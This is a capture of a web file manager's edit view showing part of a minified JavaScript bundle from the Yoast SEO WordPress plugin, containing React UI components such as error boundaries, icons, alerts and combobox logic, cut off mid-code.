Файловый менеджер - Редактировать - /home/vspaqvrt/public_html/wp-content/plugins/wordpress-seo/js/dist/externals/uiLibrary.js
Назад
(()=>{var e={4896:(e,t)=>{var n;!function(){"use strict";var a={}.hasOwnProperty;function r(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var s=typeof n;if("string"===s||"number"===s)e.push(n);else if(Array.isArray(n)){if(n.length){var o=r.apply(null,n);o&&e.push(o)}}else if("object"===s){if(n.toString!==Object.prototype.toString&&!n.toString.toString().includes("[native code]")){e.push(n.toString());continue}for(var l in n)a.call(n,l)&&n[l]&&e.push(l)}}}return e.join(" ")}e.exports?(r.default=r,e.exports=r):void 0===(n=function(){return r}.apply(t,[]))||(e.exports=n)}()},5948:function(e,t,n){!function(e,t){"use strict";function n(e){if(e&&e.__esModule)return e;var t=Object.create(null);return e&&Object.keys(e).forEach((function(n){if("default"!==n){var a=Object.getOwnPropertyDescriptor(e,n);Object.defineProperty(t,n,a.get?a:{enumerable:!0,get:function(){return e[n]}})}})),t.default=e,Object.freeze(t)}var a=n(t);function r(e,t){return r=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e},r(e,t)}var s={error:null},o=function(e){function t(){for(var t,n=arguments.length,a=new Array(n),r=0;r<n;r++)a[r]=arguments[r];return(t=e.call.apply(e,[this].concat(a))||this).state=s,t.resetErrorBoundary=function(){for(var e,n=arguments.length,a=new Array(n),r=0;r<n;r++)a[r]=arguments[r];null==t.props.onReset||(e=t.props).onReset.apply(e,a),t.reset()},t}var n,o;o=e,(n=t).prototype=Object.create(o.prototype),n.prototype.constructor=n,r(n,o),t.getDerivedStateFromError=function(e){return{error:e}};var l=t.prototype;return l.reset=function(){this.setState(s)},l.componentDidCatch=function(e,t){var n,a;null==(n=(a=this.props).onError)||n.call(a,e,t)},l.componentDidUpdate=function(e,t){var n,a,r,s,o=this.state.error,l=this.props.resetKeys;null!==o&&null!==t.error&&(void 0===(r=e.resetKeys)&&(r=[]),void 0===(s=l)&&(s=[]),r.length!==s.length||r.some((function(e,t){return!Object.is(e,s[t])})))&&(null==(n=(a=this.props).onResetKeysChange)||n.call(a,e.resetKeys,l),this.reset())},l.render=function(){var e=this.state.error,t=this.props,n=t.fallbackRender,r=t.FallbackComponent,s=t.fallback;if(null!==e){var o={error:e,resetErrorBoundary:this.resetErrorBoundary};if(a.isValidElement(s))return s;if("function"==typeof n)return n(o);if(r)return a.createElement(r,o);throw new Error("react-error-boundary requires either a fallback, fallbackRender, or FallbackComponent prop")}return this.props.children},t}(a.Component);e.ErrorBoundary=o,e.useErrorHandler=function(e){var t=a.useState(null),n=t[0],r=t[1];if(null!=e)throw e;if(null!=n)throw n;return r},e.withErrorBoundary=function(e,t){var n=function(n){return a.createElement(o,t,a.createElement(e,n))},r=e.displayName||e.name||"Unknown";return n.displayName="withErrorBoundary("+r+")",n},Object.defineProperty(e,"__esModule",{value:!0})}(t,n(9196))},9196:e=>{"use strict";e.exports=window.React}},t={};function n(a){var r=t[a];if(void 0!==r)return r.exports;var s=t[a]={exports:{}};return e[a].call(s.exports,s,s.exports,n),s.exports}n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},n.d=(e,t)=>{for(var a in t)n.o(t,a)&&!n.o(e,a)&&Object.defineProperty(e,a,{enumerable:!0,get:t[a]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var a={};(()=>{"use strict";n.r(a),n.d(a,{Alert:()=>O,Autocomplete:()=>kt,AutocompleteField:()=>er,Badge:()=>It,Button:()=>Vt,Card:()=>lr,Checkbox:()=>en,CheckboxGroup:()=>cr,ChildrenLimiter:()=>gr,Code:()=>sn,ErrorBoundary:()=>on,FILE_IMPORT_STATUS:()=>Sr,FeatureUpsell:()=>Nr,FileImport:()=>Dr,Label:()=>Yt,Link:()=>pn,Modal:()=>Ss,Notifications:()=>Is,Pagination:()=>Gs,Paper:()=>En,ProgressBar:()=>wn,Radio:()=>Cn,RadioGroup:()=>Ys,Root:()=>eo,Select:()=>ea,SelectField:()=>ro,SidebarNavigation:()=>Eo,SkeletonLoader:()=>na,Spinner:()=>Ht,Table:()=>ua,TagField:()=>wo,TagInput:()=>ya,TextField:()=>Co,TextInput:()=>ha,Textarea:()=>wa,TextareaField:()=>Lo,Title:()=>Sa,Toggle:()=>Ua,ToggleField:()=>Do,Tooltip:()=>Qa,VALIDATION_ICON_MAP:()=>y,VALIDATION_VARIANTS:()=>f,ValidationIcon:()=>g,ValidationInput:()=>Rt,ValidationMessage:()=>x,useBeforeUnload:()=>qo,useDescribedBy:()=>Ya,useMediaQuery:()=>Bo,useModalContext:()=>ws,useNavigationContext:()=>go,usePrevious:()=>Ao,useRootContext:()=>jo,useSvgAria:()=>c,useToggleState:()=>br});var e=n(9196),t=n(4896),r=n.n(t);const s=window.yoast.propTypes;var o=n.n(s);const l=window.wp.element,i=window.lodash,c=(e=null)=>(0,l.useMemo)((()=>{const t={role:"img","aria-hidden":"true"};return null!==e&&(t.focusable=e?"true":"false"),t}),[e]),u=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{fillRule:"evenodd",d:"M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z",clipRule:"evenodd"}))})),d=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{fillRule:"evenodd",d:"M8.257 3.099c.765-1.36 2.722-1.36 3.486 0l5.58 9.92c.75 1.334-.213 2.98-1.742 2.98H4.42c-1.53 0-2.493-1.646-1.743-2.98l5.58-9.92zM11 13a1 1 0 11-2 0 1 1 0 012 0zm-1-8a1 1 0 00-1 1v3a1 1 0 002 0V6a1 1 0 00-1-1z",clipRule:"evenodd"}))})),p=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{fillRule:"evenodd",d:"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z",clipRule:"evenodd"}))})),m=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{fillRule:"evenodd",d:"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z",clipRule:"evenodd"}))})),f={success:"success",warning:"warning",info:"info",error:"error"},y={success:u,warning:d,info:p,error:m},b={variant:{success:"yst-validation-icon--success",warning:"yst-validation-icon--warning",info:"yst-validation-icon--info",error:"yst-validation-icon--error"}},v=({variant:t="info",className:n="",...a})=>{const s=(0,l.useMemo)((()=>y[t]),[t]),o=c();return s?(0,e.createElement)(s,{...o,...a,className:r()("yst-validation-icon",b.variant[t],n)}):null};v.propTypes={variant:o().oneOf((0,i.values)(f)),className:o().string};const g=v,h={variant:{success:"yst-validation-message--success",warning:"yst-validation-message--warning",info:"yst-validation-message--info",error:"yst-validation-message--error"}},E=({as:t="p",variant:n="info",children:a,className:s="",...o})=>(0,e.createElement)(t,{...o,className:r()("yst-validation-message",h.variant[n],s)},a);E.propTypes={as:o().elementType,variant:o().oneOf((0,i.keys)(h.variant)),message:o().node,className:o().string,children:o().node.isRequired};const x=E,N={variant:{info:"yst-alert--info",warning:"yst-alert--warning",success:"yst-alert--success",error:"yst-alert--error"}},R={alert:"alert",status:"status"},w=(0,l.forwardRef)((({children:t,role:n="status",as:a="span",variant:s="info",className:o="",...l},i)=>(0,e.createElement)(a,{ref:i,className:r()("yst-alert",N.variant[s],o),role:R[n],...l},(0,e.createElement)(g,{variant:s,className:"yst-alert__icon"}),(0,e.createElement)(x,{as:"div",variant:s,className:"yst-alert__message"},t)))),T={children:o().node.isRequired,as:o().elementType,variant:o().oneOf(Object.keys(N.variant)),className:o().string,role:o().oneOf(Object.keys(R))};w.propTypes=T,w.defaultProps={as:"span",variant:"info",className:"",role:"status"};const O=w,P=t=>(0,e.createElement)(w,{...t});P.propTypes=w.propTypes,P.DefaultProps=w.defaultProps,P.displayName="Alert";var C=Object.defineProperty,S=(e,t,n)=>(((e,t,n)=>{t in e?C(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n})(e,"symbol"!=typeof t?t+"":t,n),n);let k=new class{constructor(){S(this,"current",this.detect()),S(this,"handoffState","pending"),S(this,"currentId",0)}set(e){this.current!==e&&(this.handoffState="pending",this.currentId=0,this.current=e)}reset(){this.set(this.detect())}nextId(){return++this.currentId}get isServer(){return"server"===this.current}get isClient(){return"client"===this.current}detect(){return"undefined"==typeof window||"undefined"==typeof document?"server":"client"}handoff(){"pending"===this.handoffState&&(this.handoffState="complete")}get isHandoffComplete(){return"complete"===this.handoffState}},_=(t,n)=>{k.isServer?(0,e.useEffect)(t,n):(0,e.useLayoutEffect)(t,n)};function L(t){let n=(0,e.useRef)(t);return _((()=>{n.current=t}),[t]),n}function F(t,n){let[a,r]=(0,e.useState)(t),s=L(t);return _((()=>r(s.current)),[s,r,...n]),a}function M(e){"function"==typeof queueMicrotask?queueMicrotask(e):Promise.resolve().then(e).catch((e=>setTimeout((()=>{throw e}))))}function I(){let e=[],t=[],n={enqueue(e){t.push(e)},addEventListener:(e,t,a,r)=>(e.addEventListener(t,a,r),n.add((()=>e.removeEventListener(t,a,r)))),requestAnimationFrame(...e){let t=requestAnimationFrame(...e);return n.add((()=>cancelAnimationFrame(t)))},nextFrame:(...e)=>n.requestAnimationFrame((()=>n.requestAnimationFrame(...e))),setTimeout(...e){let t=setTimeout(...e);return n.add((()=>clearTimeout(t)))},microTask(...e){let t={current:!0};return M((()=>{t.current&&e[0]()})),n.add((()=>{t.current=!1}))},add:t=>(e.push(t),()=>{let n=e.indexOf(t);if(n>=0){let[t]=e.splice(n,1);t()}}),dispose(){for(let t of e.splice(0))t()},async workQueue(){for(let e of t.splice(0))await e()}};return n}function D(){let[t]=(0,e.useState)(I);return(0,e.useEffect)((()=>()=>t.dispose()),[t]),t}let q=function(t){let n=L(t);return e.useCallback(((...e)=>n.current(...e)),[n])};function A(){let[t,n]=(0,e.useState)(k.isHandoffComplete);return t&&!1===k.isHandoffComplete&&n(!1),(0,e.useEffect)((()=>{!0!==t&&n(!0)}),[t]),(0,e.useEffect)((()=>k.handoff()),[]),t}var j;let B=null!=(j=e.useId)?j:function(){let t=A(),[n,a]=e.useState(t?()=>k.nextId():null);return _((()=>{null===n&&a(k.nextId())}),[n]),null!=n?""+n:void 0};function H(e,t,...n){if(e in t){let a=t[e];return"function"==typeof a?a(...n):a}let a=new Error(`Tried to handle "${e}" but there is no handler defined. Only defined handlers are: ${Object.keys(t).map((e=>`"${e}"`)).join(", ")}.`);throw Error.captureStackTrace&&Error.captureStackTrace(a,H),a}function z(e){return k.isServer?null:e instanceof Node?e.ownerDocument:null!=e&&e.hasOwnProperty("current")&&e.current instanceof Node?e.current.ownerDocument:document}let $=["[contentEditable=true]","[tabindex]","a[href]","area[href]","button:not([disabled])","iframe","input:not([disabled])","select:not([disabled])","textarea:not([disabled])"].map((e=>`${e}:not([tabindex='-1'])`)).join(",");var U,V,W=(e=>(e[e.First=1]="First",e[e.Previous=2]="Previous",e[e.Next=4]="Next",e[e.Last=8]="Last",e[e.WrapAround=16]="WrapAround",e[e.NoScroll=32]="NoScroll",e))(W||{}),G=((V=G||{})[V.Error=0]="Error",V[V.Overflow=1]="Overflow",V[V.Success=2]="Success",V[V.Underflow=3]="Underflow",V),K=((U=K||{})[U.Previous=-1]="Previous",U[U.Next=1]="Next",U);var Q=(e=>(e[e.Strict=0]="Strict",e[e.Loose=1]="Loose",e))(Q||{});function Y(e,t=0){var n;return e!==(null==(n=z(e))?void 0:n.body)&&H(t,{0:()=>e.matches($),1(){let t=e;for(;null!==t;){if(t.matches($))return!0;t=t.parentElement}return!1}})}function Z(e){null==e||e.focus({preventScroll:!0})}let X=["textarea","input"].join(",");function J(e,t=(e=>e)){return e.slice().sort(((e,n)=>{let a=t(e),r=t(n);if(null===a||null===r)return 0;let s=a.compareDocumentPosition(r);return s&Node.DOCUMENT_POSITION_FOLLOWING?-1:s&Node.DOCUMENT_POSITION_PRECEDING?1:0}))}function ee(e,t,{sorted:n=!0,relativeTo:a=null,skipElements:r=[]}={}){let s=Array.isArray(e)?e.length>0?e[0].ownerDocument:document:e.ownerDocument,o=Array.isArray(e)?n?J(e):e:function(e=document.body){return null==e?[]:Array.from(e.querySelectorAll($)).sort(((e,t)=>Math.sign((e.tabIndex||Number.MAX_SAFE_INTEGER)-(t.tabIndex||Number.MAX_SAFE_INTEGER))))}(e);r.length>0&&o.length>1&&(o=o.filter((e=>!r.includes(e)))),a=null!=a?a:s.activeElement;let l,i=(()=>{if(5&t)return 1;if(10&t)return-1;throw new Error("Missing Focus.First, Focus.Previous, Focus.Next or Focus.Last")})(),c=(()=>{if(1&t)return 0;if(2&t)return Math.max(0,o.indexOf(a))-1;if(4&t)return Math.max(0,o.indexOf(a))+1;if(8&t)return o.length-1;throw new Error("Missing Focus.First, Focus.Previous, Focus.Next or Focus.Last")})(),u=32&t?{preventScroll:!0}:{},d=0,p=o.length;do{if(d>=p||d+p<=0)return 0;let e=c+d;if(16&t)e=(e+p)%p;else{if(e<0)return 3;if(e>=p)return 1}l=o[e],null==l||l.focus(u),d+=i}while(l!==s.activeElement);return 6&t&&function(e){var t,n;return null!=(n=null==(t=null==e?void 0:e.matches)?void 0:t.call(e,X))&&n}(l)&&l.select(),l.hasAttribute("tabindex")||l.setAttribute("tabindex","0"),2}function te(t,n,a){let r=L(n);(0,e.useEffect)((()=>{function e(e){r.current(e)}return document.addEventListener(t,e,a),()=>document.removeEventListener(t,e,a)}),[t,a])}function ne(t,n,a=!0){let r=(0,e.useRef)(!1);function s(e,a){if(!r.current||e.defaultPrevented)return;let s=function e(t){return"function"==typeof t?e(t()):Array.isArray(t)||t instanceof Set?t:[t]}(t),o=a(e);if(null!==o&&o.getRootNode().contains(o)){for(let t of s){if(null===t)continue;let n=t instanceof HTMLElement?t:t.current;if(null!=n&&n.contains(o)||e.composed&&e.composedPath().includes(n))return}return!Y(o,Q.Loose)&&-1!==o.tabIndex&&e.preventDefault(),n(e,o)}}(0,e.useEffect)((()=>{requestAnimationFrame((()=>{r.current=a}))}),[a]);let o=(0,e.useRef)(null);te("mousedown",(e=>{var t,n;r.current&&(o.current=(null==(n=null==(t=e.composedPath)?void 0:t.call(e))?void 0:n[0])||e.target)}),!0),te("click",(e=>{!o.current||(s(e,(()=>o.current)),o.current=null)}),!0),te("blur",(e=>s(e,(()=>window.document.activeElement instanceof HTMLIFrameElement?window.document.activeElement:null))),!0)}function ae(e){var t;if(e.type)return e.type;let n=null!=(t=e.as)?t:"button";return"string"==typeof n&&"button"===n.toLowerCase()?"button":void 0}function re(t,n){let[a,r]=(0,e.useState)((()=>ae(t)));return _((()=>{r(ae(t))}),[t.type,t.as]),_((()=>{a||!n.current||n.current instanceof HTMLButtonElement&&!n.current.hasAttribute("type")&&r("button")}),[a,n]),a}let se=Symbol();function oe(e,t=!0){return Object.assign(e,{[se]:t})}function le(...t){let n=(0,e.useRef)(t);(0,e.useEffect)((()=>{n.current=t}),[t]);let a=q((e=>{for(let t of n.current)null!=t&&("function"==typeof t?t(e):t.current=e)}));return t.every((e=>null==e||(null==e?void 0:e[se])))?void 0:a}var ie=(e=>(e[e.First=0]="First",e[e.Previous=1]="Previous",e[e.Next=2]="Next",e[e.Last=3]="Last",e[e.Specific=4]="Specific",e[e.Nothing=5]="Nothing",e))(ie||{});function ce(e,t){let n=t.resolveItems();if(n.length<=0)return null;let a=t.resolveActiveIndex(),r=null!=a?a:-1,s=(()=>{switch(e.focus){case 0:return n.findIndex((e=>!t.resolveDisabled(e)));case 1:{let e=n.slice().reverse().findIndex(((e,n,a)=>!(-1!==r&&a.length-n-1>=r||t.resolveDisabled(e))));return-1===e?e:n.length-1-e}case 2:return n.findIndex(((e,n)=>!(n<=r||t.resolveDisabled(e))));case 3:{let e=n.slice().reverse().findIndex((e=>!t.resolveDisabled(e)));return-1===e?e:n.length-1-e}case 4:return n.findIndex((n=>t.resolveId(n)===e.id));case 5:return null;default:!function(e){throw new Error("Unexpected object: "+e)}(e)}})();return-1===s?a:s}function ue(...e){return e.filter(Boolean).join(" ")}var de,pe=((de=pe||{})[de.None=0]="None",de[de.RenderStrategy=1]="RenderStrategy",de[de.Static=2]="Static",de),me=(e=>(e[e.Unmount=0]="Unmount",e[e.Hidden=1]="Hidden",e))(me||{});function fe({ourProps:e,theirProps:t,slot:n,defaultTag:a,features:r,visible:s=!0,name:o}){let l=be(t,e);if(s)return ye(l,n,a,o);let i=null!=r?r:0;if(2&i){let{static:e=!1,...t}=l;if(e)return ye(t,n,a,o)}if(1&i){let{unmount:e=!0,...t}=l;return H(e?0:1,{0:()=>null,1:()=>ye({...t,hidden:!0,style:{display:"none"}},n,a,o)})}return ye(l,n,a,o)}function ye(t,n={},a,r){var s;let{as:o=a,children:l,refName:i="ref",...c}=he(t,["unmount","static"]),u=void 0!==t.ref?{[i]:t.ref}:{},d="function"==typeof l?l(n):l;c.className&&"function"==typeof c.className&&(c.className=c.className(n));let p={};if(n){let e=!1,t=[];for(let[a,r]of Object.entries(n))"boolean"==typeof r&&(e=!0),!0===r&&t.push(a);e&&(p["data-headlessui-state"]=t.join(" "))}if(o===e.Fragment&&Object.keys(ge(c)).length>0){if(!(0,e.isValidElement)(d)||Array.isArray(d)&&d.length>1)throw new Error(['Passing props on "Fragment"!',"",`The current component <${r} /> is rendering a "Fragment".`,"However we need to passthrough the following props:",Object.keys(c).map((e=>` - ${e}`)).join("\n"),"","You can apply a few solutions:",['Add an `as="..."` prop, to ensure that we render an actual element instead of a "Fragment".',"Render a single element as the child so that we can forward the props onto that element."].map((e=>` - ${e}`)).join("\n")].join("\n"));let t=ue(null==(s=d.props)?void 0:s.className,c.className),n=t?{className:t}:{};return(0,e.cloneElement)(d,Object.assign({},be(d.props,ge(he(c,["ref"]))),p,u,function(...e){return{ref:e.every((e=>null==e))?void 0:t=>{for(let n of e)null!=n&&("function"==typeof n?n(t):n.current=t)}}}(d.ref,u.ref),n))}return(0,e.createElement)(o,Object.assign({},he(c,["ref"]),o!==e.Fragment&&u,o!==e.Fragment&&p),d)}function be(...e){if(0===e.length)return{};if(1===e.length)return e[0];let t={},n={};for(let a of e)for(let e in a)e.startsWith("on")&&"function"==typeof a[e]?(null!=n[e]||(n[e]=[]),n[e].push(a[e])):t[e]=a[e];if(t.disabled||t["aria-disabled"])return Object.assign(t,Object.fromEntries(Object.keys(n).map((e=>[e,void 0]))));for(let e in n)Object.assign(t,{[e](t,...a){let r=n[e];for(let e of r){if((t instanceof Event||(null==t?void 0:t.nativeEvent)instanceof Event)&&t.defaultPrevented)return;e(t,...a)}}});return t}function ve(t){var n;return Object.assign((0,e.forwardRef)(t),{displayName:null!=(n=t.displayName)?n:t.name})}function ge(e){let t=Object.assign({},e);for(let e in t)void 0===t[e]&&delete t[e];return t}function he(e,t=[]){let n=Object.assign({},e);for(let e of t)e in n&&delete n[e];return n}function Ee(e){let t=e.parentElement,n=null;for(;t&&!(t instanceof HTMLFieldSetElement);)t instanceof HTMLLegendElement&&(n=t),t=t.parentElement;let a=""===(null==t?void 0:t.getAttribute("disabled"));return(!a||!function(e){if(!e)return!1;let t=e.previousElementSibling;for(;null!==t;){if(t instanceof HTMLLegendElement)return!1;t=t.previousElementSibling}return!0}(n))&&a}function xe(e={},t=null,n=[]){for(let[a,r]of Object.entries(e))Re(n,Ne(t,a),r);return n}function Ne(e,t){return e?e+"["+t+"]":t}function Re(e,t,n){if(Array.isArray(n))for(let[a,r]of n.entries())Re(e,Ne(t,a.toString()),r);else n instanceof Date?e.push([t,n.toISOString()]):"boolean"==typeof n?e.push([t,n?"1":"0"]):"string"==typeof n?e.push([t,n]):"number"==typeof n?e.push([t,`${n}`]):null==n?e.push([t,""]):xe(n,t,e)}var we=(e=>(e[e.None=1]="None",e[e.Focusable=2]="Focusable",e[e.Hidden=4]="Hidden",e))(we||{});let Te=ve((function(e,t){let{features:n=1,...a}=e;return fe({ourProps:{ref:t,"aria-hidden":2==(2&n)||void 0,style:{position:"fixed",top:1,left:1,width:1,height:0,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",borderWidth:"0",...4==(4&n)&&2!=(2&n)&&{display:"none"}}},theirProps:a,slot:{},defaultTag:"div",name:"Hidden"})})),Oe=(0,e.createContext)(null);Oe.displayName="OpenClosedContext";var Pe=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(Pe||{});function Ce(){return(0,e.useContext)(Oe)}function Se({value:t,children:n}){return e.createElement(Oe.Provider,{value:t},n)}var ke=(e=>(e.Space=" ",e.Enter="Enter",e.Escape="Escape",e.Backspace="Backspace",e.Delete="Delete",e.ArrowLeft="ArrowLeft",e.ArrowUp="ArrowUp",e.ArrowRight="ArrowRight",e.ArrowDown="ArrowDown",e.Home="Home",e.End="End",e.PageUp="PageUp",e.PageDown="PageDown",e.Tab="Tab",e))(ke||{});function _e(t,n,a){let[r,s]=(0,e.useState)(a),o=void 0!==t,l=(0,e.useRef)(o),i=(0,e.useRef)(!1),c=(0,e.useRef)(!1);return!o||l.current||i.current?!o&&l.current&&!c.current&&(c.current=!0,l.current=o,console.error("A component is changing from controlled to uncontrolled. This may be caused by the value changing from a defined value to undefined, which should not happen.")):(i.current=!0,l.current=o,console.error("A component is changing from uncontrolled to controlled. This may be caused by the value changing from undefined to a defined value, which should not happen.")),[o?t:r,q((e=>(o||s(e),null==n?void 0:n(e))))]}function Le(t,n){let a=(0,e.useRef)([]),r=q(t);(0,e.useEffect)((()=>{let e=[...a.current];for(let[t,s]of n.entries())if(a.current[t]!==s){let t=r(n,e);return a.current=n,t}}),[r,...n])}function Fe(e){return[e.screenX,e.screenY]}function Me(){let t=(0,e.useRef)([-1,-1]);return{wasMoved(e){let n=Fe(e);return(t.current[0]!==n[0]||t.current[1]!==n[1])&&(t.current=n,!0)},update(e){t.current=Fe(e)}}}var Ie=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(Ie||{}),De=(e=>(e[e.Single=0]="Single",e[e.Multi=1]="Multi",e))(De||{}),qe=(e=>(e[e.Pointer=0]="Pointer",e[e.Other=1]="Other",e))(qe||{}),Ae=(e=>(e[e.OpenCombobox=0]="OpenCombobox",e[e.CloseCombobox=1]="CloseCombobox",e[e.GoToOption=2]="GoToOption",e[e.RegisterOption=3]="RegisterOption",e[e.UnregisterOption=4]="UnregisterOption",e[e.RegisterLabel=5]="RegisterLabel",e))(Ae||{});function je(e,t=(e=>e)){let n=null!==e.activeOptionIndex?e.options[e.activeOptionIndex]:null,a=J(t(e.options.slice()),(e=>e.dataRef.current.domRef.current)),r=n?a.indexOf(n):null;return-1===r&&(r=null),{options:a,activeOptionIndex:r}}let Be={1:e=>e.dataRef.current.disabled||1===e.comboboxState?e:{...e,activeOptionIndex:null,comboboxState:1},0(e){if(e.dataRef.current.disabled||0===e.comboboxState)return e;let t=e.activeOptionIndex,{isSelected:n}=e.dataRef.current,a=e.options.findIndex((e=>n(e.dataRef.current.value)));return-1!==a&&(t=a),{...e,comboboxState:0,activeOptionIndex:t}},2(e,t){var n;if(e.dataRef.current.disabled||e.dataRef.current.optionsRef.current&&!e.dataRef.current.optionsPropsRef.current.static&&1===e.comboboxState)return e;let a=je(e);if(null===a.activeOptionIndex){let e=a.options.findIndex((e=>!e.dataRef.current.disabled));-1!==e&&(a.activeOptionIndex=e)}let r=ce(t,{resolveItems:()=>a.options,resolveActiveIndex:()=>a.activeOptionIndex,resolveId:e=>e.id,resolveDisabled:e=>e.dataRef.current.disabled});return{...e,...a,activeOptionIndex:r,activationTrigger:null!=(n=t.trigger)?n:1}},3:(e,t)=>{let n={id:t.id,dataRef:t.dataRef},a=je(e,(e=>[...e,n]));null===e.activeOptionIndex&&e.dataRef.current.isSelected(t.dataRef.current.value)&&(a.activeOptionIndex=a.options.indexOf(n));let r={...e,...a,activationTrigger:1};return e.dataRef.current.__demoMode&&void 0===e.dataRef.current.value&&(r.activeOptionIndex=0),r},4:(e,t)=>{let n=je(e,(e=>{let n=e.findIndex((e=>e.id===t.id));return-1!==n&&e.splice(n,1),e}));return{...e,...n,activationTrigger:1}},5:(e,t)=>({...e,labelId:t.id})},He=(0,e.createContext)(null);function ze(t){let n=(0,e.useContext)(He);if(null===n){let e=new Error(`<${t} /> is missing a parent <Combobox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(e,ze),e}return n}He.displayName="ComboboxActionsContext";let $e=(0,e.createContext)(null);function Ue(t){let n=(0,e.useContext)($e);if(null===n){let e=new Error(`<${t} /> is missing a parent <Combobox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(e,Ue),e}return n}function Ve(e,t){return H(t.type,Be,e,t)}$e.displayName="ComboboxDataContext";let We=e.Fragment,Ge=ve((function(t,n){let{value:a,defaultValue:r,onChange:s,name:o,by:l=((e,t)=>e===t),disabled:i=!1,__demoMode:c=!1,nullable:u=!1,multiple:d=!1,...p}=t,[m=(d?[]:void 0),f]=_e(a,s,r),[y,b]=(0,e.useReducer)(Ve,{dataRef:(0,e.createRef)(),comboboxState:c?0:1,options:[],activeOptionIndex:null,activationTrigger:1,labelId:null}),v=(0,e.useRef)(!1),g=(0,e.useRef)({static:!1,hold:!1}),h=(0,e.useRef)(null),E=(0,e.useRef)(null),x=(0,e.useRef)(null),N=(0,e.useRef)(null),R=q("string"==typeof l?(e,t)=>{let n=l;return(null==e?void 0:e[n])===(null==t?void 0:t[n])}:l),w=(0,e.useCallback)((e=>H(T.mode,{1:()=>m.some((t=>R(t,e))),0:()=>R(m,e)})),[m]),T=(0,e.useMemo)((()=>({...y,optionsPropsRef:g,labelRef:h,inputRef:E,buttonRef:x,optionsRef:N,value:m,defaultValue:r,disabled:i,mode:d?1:0,get activeOptionIndex(){if(v.current&&null===y.activeOptionIndex&&y.options.length>0){let e=y.options.findIndex((e=>!e.dataRef.current.disabled));if(-1!==e)return e}return y.activeOptionIndex},compare:R,isSelected:w,nullable:u,__demoMode:c})),[m,r,i,d,u,c,y]);_((()=>{y.dataRef.current=T}),[T]),ne([T.buttonRef,T.inputRef,T.optionsRef],(()=>A.closeCombobox()),0===T.comboboxState);let O=(0,e.useMemo)((()=>({open:0===T.comboboxState,disabled:i,activeIndex:T.activeOptionIndex,activeOption:null===T.activeOptionIndex?null:T.options[T.activeOptionIndex].dataRef.current.value,value:m})),[T,i,m]),P=q((e=>{let t=T.options.find((t=>t.id===e));!t||I(t.dataRef.current.value)})),C=q((()=>{if(null!==T.activeOptionIndex){let{dataRef:e,id:t}=T.options[T.activeOptionIndex];I(e.current.value),A.goToOption(ie.Specific,t)}})),S=q((()=>{b({type:0}),v.current=!0})),k=q((()=>{b({type:1}),v.current=!1})),L=q(((e,t,n)=>(v.current=!1,e===ie.Specific?b({type:2,focus:ie.Specific,id:t,trigger:n}):b({type:2,focus:e,trigger:n})))),F=q(((e,t)=>(b({type:3,id:e,dataRef:t}),()=>b({type:4,id:e})))),M=q((e=>(b({type:5,id:e}),()=>b({type:5,id:null})))),I=q((e=>H(T.mode,{0:()=>null==f?void 0:f(e),1(){let t=T.value.slice(),n=t.findIndex((t=>R(t,e)));return-1===n?t.push(e):t.splice(n,1),null==f?void 0:f(t)}}))),A=(0,e.useMemo)((()=>({onChange:I,registerOption:F,registerLabel:M,goToOption:L,closeCombobox:k,openCombobox:S,selectActiveOption:C,selectOption:P})),[]),j=null===n?{}:{ref:n},B=(0,e.useRef)(null),z=D();return(0,e.useEffect)((()=>{!B.current||void 0!==r&&z.addEventListener(B.current,"reset",(()=>{I(r)}))}),[B,I]),e.createElement(He.Provider,{value:A},e.createElement($e.Provider,{value:T},e.createElement(Se,{value:H(T.comboboxState,{0:Pe.Open,1:Pe.Closed})},null!=o&&null!=m&&xe({[o]:m}).map((([t,n],a)=>e.createElement(Te,{features:we.Hidden,ref:0===a?e=>{var t;B.current=null!=(t=null==e?void 0:e.closest("form"))?t:null}:void 0,...ge({key:t,as:"input",type:"hidden",hidden:!0,readOnly:!0,name:t,value:n})}))),fe({ourProps:j,theirProps:p,slot:O,defaultTag:We,name:"Combobox"}))))})),Ke=ve((function(t,n){var a,r,s,o;let l=B(),{id:i=`headlessui-combobox-input-${l}`,onChange:c,displayValue:u,type:d="text",...p}=t,m=Ue("Combobox.Input"),f=ze("Combobox.Input"),y=le(m.inputRef,n),b=(0,e.useRef)(!1),v=D();var g;Le((([e,t],[n,a])=>{b.current||!m.inputRef.current||(0===a&&1===t||e!==n)&&(m.inputRef.current.value=e)}),["function"==typeof u&&void 0!==m.value?null!=(g=u(m.value))?g:"":"string"==typeof 